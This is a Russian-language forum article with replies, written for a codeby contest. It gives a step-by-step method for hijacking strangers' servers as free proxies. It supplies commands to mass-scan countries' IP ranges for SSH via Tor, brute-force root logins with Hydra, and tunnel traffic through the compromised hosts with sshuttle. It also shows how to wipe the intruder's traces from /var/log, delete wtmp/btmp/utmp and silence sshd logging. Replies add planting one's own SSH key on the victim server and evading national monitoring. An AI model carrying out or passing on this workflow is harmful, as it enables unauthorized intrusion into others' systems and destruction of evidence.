Конкурс Бесплатный и анонимный "впн" без логов

  • Автор темы Автор темы TROOPY
  • Дата начала Дата начала
  • Теги Теги
    впн
Статья для участия в конкурсе на codeby

Всем привет! Решил написать статью об одном способе получения бесплатного и анонимного «впн», который не пишет логи. Если вкратце, то мы будем добывать ssh-туннели и пускать весь трафик через них с помощью sshuttle.

Для работы нам потребуется linux-дистрибутив со следующими инструментами:

  • ProxyChains-NG
  • Masscan
  • Hydra
  • Sshuttle
  • Tor
Часть первая. Описание программ
ProxyChains-NG - программа для соксификации трафика(понадобиться, чтобы анонимно сканировать и брутить туннели)
Masscan - сканер портов(потребуется для того, чтобы просканировать диапазоны на открытость 22 порта, то есть ssh)
Hydra - программа, которая позволит подобрать пароль к ssh-туннелю
Sshuttle - утилита, которая пустит весь наш трафик через полученный туннель
Tor - думаю, не нуждается в представлении

Часть вторая. Установка и настройка программ
Устанавливаем тор:
Код:
sudo apt-get install torsocks tor
Теперь отредактируем конфигурационный файл тор(это нужно для того, чтобы использовать его в качестве прокси при анонимном сканировании). Открываем /etc/tor/torrc и в самый конец пишем:
Код:
DNSPort                53530
TransPort              9040
gg.png
И добавляем его в автозапуск:
Код:
sudo systemctl start tor
sudo systemctl enable tor
Так же устанавливаем ProxyChains-NG:
Код:
sudo apt-get install git gcc
sudo apt-get remove proxychains
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng/
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
sudo make install-config
Устанавливаем masscan:
Код:
sudo apt-get install git gcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
И установим последние две программы:
Код:
sudo apt-get remove hydra
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure
make
sudo make install
и
Код:
apt-get install sshuttle
Часть третья. Работа с утилитами
Для начало нам необходимо получить список ip-адресов. Заходим на и выбираем нужную вам страну, например, Польшу:
ggg.png
Копируем и сохраняем в файл diapazon.txt
Запускаем masscan со следующими аргументами,
Код:
proxychains4 masscan -iL diapazon.txt -p22 --rate=10000 |awk '{print $6}' > result.txt
где:
proxychains4 используется для анонимного сканирования
аргумент -iL используется для того, чтобы выбрать файл с ip-адресами
аргумент -p22 используется для того, чтобы указать порт 22, который обычно используется ssh
аргумент --rate используется для того, чтобы выбрать скорость сканирования(количество пакетов, которое будет отправлено, я ставлю 10000, а вы на свое усмотрение)
awk используется для того, чтобы записать результат в виде готовых ip-адресов
В результате получим список адресов:
gggg.png
Теперь с помощью гидры будем брутить туннели,
Код:
 hydra -L login.txt -P pass.txt -M result.txt -o hydra_result.log -t 64  -v -V ssh HYDRA_PROXY=[socks5]://127.0.0.1:9050
где:
login.txt - список логинов для брута (можно оставить стандартные admin, root или же составить свой список, но желательно root, т.к чтобы отключить логи потребуются права суперпользователя)
pass.txt - список паролей для брута (так же можете составить свой список)
result.txt - список ip-адресов для брута(адреса, которые проверяли на ssh в программе masscan)
hydra_result.log - место куда будут записаны сбрученые туннели
-t 64 - аргумент, который говорит утилите использовать максимальное количество потоков
-v -V - аргументы, которые отвечает за вывод информаци о процессе брута
ssh - тип протокола, который будет брутиться
HYDRA_PROXY - аргумент, который производит брут через прокси тора
Часть четвертая. Подключение к туннелю и отключение логов
Для подключения к ssh-туннелю будем использовать уже известную нам утилиту sshuttle,
Код:
sudo sshuttle --dns -r username@ip:port 0.0.0.0/0 -vv
где:
--dns - аргумент, который позволяет заворачивать в туннель dns-трафик
username@ip:port - соответственно логин, ip и порт от ssh-туннеля
0.0.0.0/0 - аргумент, который говорит системе завернуть весь трафик через туннель
-vv - вывод о работе утилите
Программа сначала запросит пароль от вашей системы, а потом от сервера.
Так же имеются и минусы у данной утилиты, первый это то, что она заворачивает трафик только ipv4 и второй, что она имеет не большую скорость
Теперь самая главная и нужная часть, отключение логов.
Для чистки логов будем использовать следующий набор команд:
Код:
MYIP=$(echo $SSH_CLIENT | awk ‘{ print $1}’); IPLOGS=$(grep -lr $MYIP /var/log);for L in $IPLOGS;do rm -f /tmp/tmplog; cp -f $L /tmp/tmplog; sed -i «/$MYIP/,+3d» /tmp/tmplog; cat /tmp/tmplog > $L;done;rm -f /tmp/tmplog
Этот набор команд найдет все файлы содержащие наш ip адрес в папке /var/log и удалит их + удалит 3 строчки после.
Альтернативный метод:
Код:
rm -f /var/log/wtmp
rm -f /var/log/btmp
rm -f /var/log/lastlog && ln -s /dev/null /var/log/lastlog
rm -f /var/run/utmp
А также следует отключить логи sshd:
Открываем файл /etc/ssh/sshd_config, ищем строчку LogLevel (по умолчанию там будет уровень INFO) и заменяем INFO на QUIET.
Должно выглядеть так:
Код:
LogLevel QUIET
Затем надо перезапустить sshd демона:
Код:
sudo service ssh restart
Часть пятая. Заключение
Первое, что хочется сказать в заключение это то, что данный метод не является панацеей. Не стоит использовать только этот рубеж защиты. Анонимность - это комплекс мер, который должен постоянно обновляться и совершенствоваться.
Второе, советую использовать так называемую цепочку анонимности в которой этот метод будет стоять в конце.
Третье, помните, что за вами всегда следят и какую бы вы защиту не выстраивали всегда найдется способ вас задеанонить, поэтому лучшем способ обороны будет постоянная рандоминизация ваших цепочек анонимности, например постоянно меняйте wi-fi к которому подключаетесь, меняйте сервер, на котором стоит ваш впн, меняйте выходную ноду тора(желательно свою) и т.д.
На этом пожалуй всё, если что-то вспомню ещё, то дополню статью.
 
Последнее редактирование:
Я может что-то недо-понимаю ))
Но не могу отказать себе в удовольствии задать несколько вопросов ))
  • А при чём тут VPN ? Обычная схема брута ssh с последующим заворачиванием трафика через один из сбрученных тонелей. ИМХО, VPN никак не образуется )) Нет здесь речи ни о сервере, ни о клиенте, ни о протоколе соединения ))


  • Строчка
sudo sshuttle --dns -r username@ip:port 0.0.0.0/0 -vv
не требует корректировки ?
sshuttle --dns -r root@1.2.3.4 0/0

  • Неплохо было-бы подстраховаться и проверить прохождение ДНС-запросов через ssh.
В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
 
Последнее редактирование модератором:
Я может что-то недо-понимаю ))
Но не могу отказать себе в удовольствии задать несколько вопросов ))
А при чём тут VPN ? Обычная схема брута ssh с последующим заворачиванием трафика через один из сбрученных тонелей. ИМХО, VPN никак не образуется )) Нет здесь речи ни о сервере, ни о клиенте, ни о протоколе соединения ))


Строчка

не требует корректировки ?


Неплохо было-бы подстраховаться и проверить прохождение ДНС-запросов через ssh.

В ответ должно прийти что-то вроде:
Впн - это условно, хотел взять в кавычки, но забыл) Просто ssh-туннель иногда в шутку называют впн для бедных) По поводу кода, я ошибки не вижу.
 
Плюсую, о VPN тут ни слова. SSH это layer 7, а VPN layer 2.
 
Сейчас автор наверняка думает: "Набежали диванные одмины)))".
За инициативу +
Что с шифрованием?
 
  • Нравится
Реакции: Vertigo
Автор ни в коем случае не должен обижаться на мои или чьи-либо комментарии. Тем более, не все эти комментарии будут иметь характер критики ))
Более того, наличие комментов говорит о проявленном интересе читателей к статье. Это уже характеризует автора с положительной стороны ))

Что с шифрованием?
С шифрованием в этом случае не всё настолько хорошо, как в случае шифрования трафика по протоколу Open VPN или другими - PPTP, L2TP .
Шифрование - присутствует настолько, насколько оно имеет место при передаче информации по протоколу ssh.
Шифрование по ключу - невозможно.
 
  • Нравится
Реакции: valerian38
Нужно исследовать вопрос с шифрованием...
А почему по ключу нельзя? SSH поддерживает асимметричное шифрование.

P.S.
Приглашаются эксперты по шифрованию.
 
А почему по ключу нельзя?
Потому что на практике, при подключении к сбрученному ssh, тебе предложат ввести этот самый ключ или указать файл шифрования. ))
Не думаю, что в случае брута ssh в нагрузку прилагается хоть какая-то информация о ключе шифрования))
SSH поддерживает асимметричное шифрование.
Не знаю, что ты имел ввиду, но в рассмотренном в статье частном случае - это просто красивая фраза. Возможно, я ошибаюсь.
 
Хорошо, ssh сбручен (как писать правильно XD), далее создаем у себя пару ключей и передаём на сервер ssh открытый ключ, попросит авторизацию, т.е. то что мы сбрутили, далее цепляемся уже по ключам.
В статье про шифрование ни слова - это факт.
И киньте уже в меня камень, если я не прав. offtop: "Мама, ну я же говорил вам остаться дома.".
 
Можешь считать, что я бросаю в тебя камень ))
Хорошо, ssh сбручен (как писать правильно XD), далее создаем у себя пару ключей и передаём на сервер ssh открытый ключ, попросит авторизацию, т.е. то что мы сбрутили, далее цепляемся уже по ключам.
Не получится, теоретик ))
Вот что получится на практике:
Несмотря на то, что пара логин-пароль будут подобраны, соединенение с устройством не произойдёт. Ведь без ключа ты даже не приконнектишься. О передаче своего ключа шифрования не может идти речи.
 
Я все это понимаю, а с этих самых пор как мы сбрутили, что нам мешает использовать ключ? Я ж не прошу брутить ключ XD.
 
что нам мешает использовать ключ
  • Незнание ключа, установленного администратором сервера.
  • Отсутствие коннекта со сбрученным устройством: без знания ключа шифрования коннект невозможен, несмотря на то что пара логин-пароль подобраны верно.
 
Я про то, что к тому моменту когда у нас есть пара логин+пасс на сервере не используется ключ. Далее нам ничего не мешает подсунуть свой ключ на сервак и пользовать уже его.
 
Доброе утро, проверил.

Сначала на клиенте создаём пару ключей:
Код:
ssh-keygen -t rsa
1_.JPG

Далее копируем публичный ключ на сервер ssh, попросит пароль:
Код:
ssh-copy-id IP:сервера
2_.JPG

Готово!
Конектимся уже по ключам:)
3_.JPG
 
Доброе утро, проверил.

Сначала на клиенте создаём пару ключей:
Код:
ssh-keygen -t rsa
Посмотреть вложение 18999
Далее копируем публичный ключ на сервер ssh, попросит пароль:
Код:
ssh-copy-id IP:сервера
Посмотреть вложение 19000
Готово!
Конектимся уже по ключам:)
Посмотреть вложение 19001
А какая разница как коннектиться, по ключу или логину и паролю? Ведь предполалагется, что туннель сбрученый. А по поводу шифрования его можно в конфиге sshd настроить. Ведь протокол ssh использует шифрование и при коннекте через логин и пароль. Или я чего то не понимаю?
 
  • Нравится
Реакции: shooter
Перечитал матчасть, действительно, при парольной аутентификации поднимается шифрованный канал, согласно настройкам sshd.
 
  • Нравится
Реакции: TROOPY
ТС хорошая статья. От себя отмечу, что ОБЯЗАТЕЛЬНО в /etc/tor/torrc нужно добавить строки
Код:
ExcludeNodes {ru}, {ua}, {by}
(ну или код страны где находитесь) чтобы кое кому неповадно мониторить было...
 
ТС хорошая статья. От себя отмечу, что ОБЯЗАТЕЛЬНО в /etc/tor/torrc нужно добавить строки
Код:
ExcludeNodes {ru}, {ua}, {by}
(ну или код страны где находитесь) чтобы кое кому неповадно мониторить было...
Можно добавить, но ведь тор здесь используется просто для сканирование, а не для готовой цепочки анонимности.
 
Можно добавить, но ведь тор здесь используется просто для сканирование, а не для готовой цепочки анонимности.
А просто сканирование не нужно прикрывать? Если работаете по той же стране, где и обитаете...
Сомневаюсь.
 
  • Нравится
Реакции: TROOPY
А просто сканирование не нужно прикрывать? Если работаете по той же стране, где и обитаете...
Сомневаюсь.
Я и имел ввиду, что нужно искать туннель не по своей стране, а так да, если вы ищете по своей, то необходимо добавить её в исключения.
 
  • Нравится
Реакции: Catharsis и ghost
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab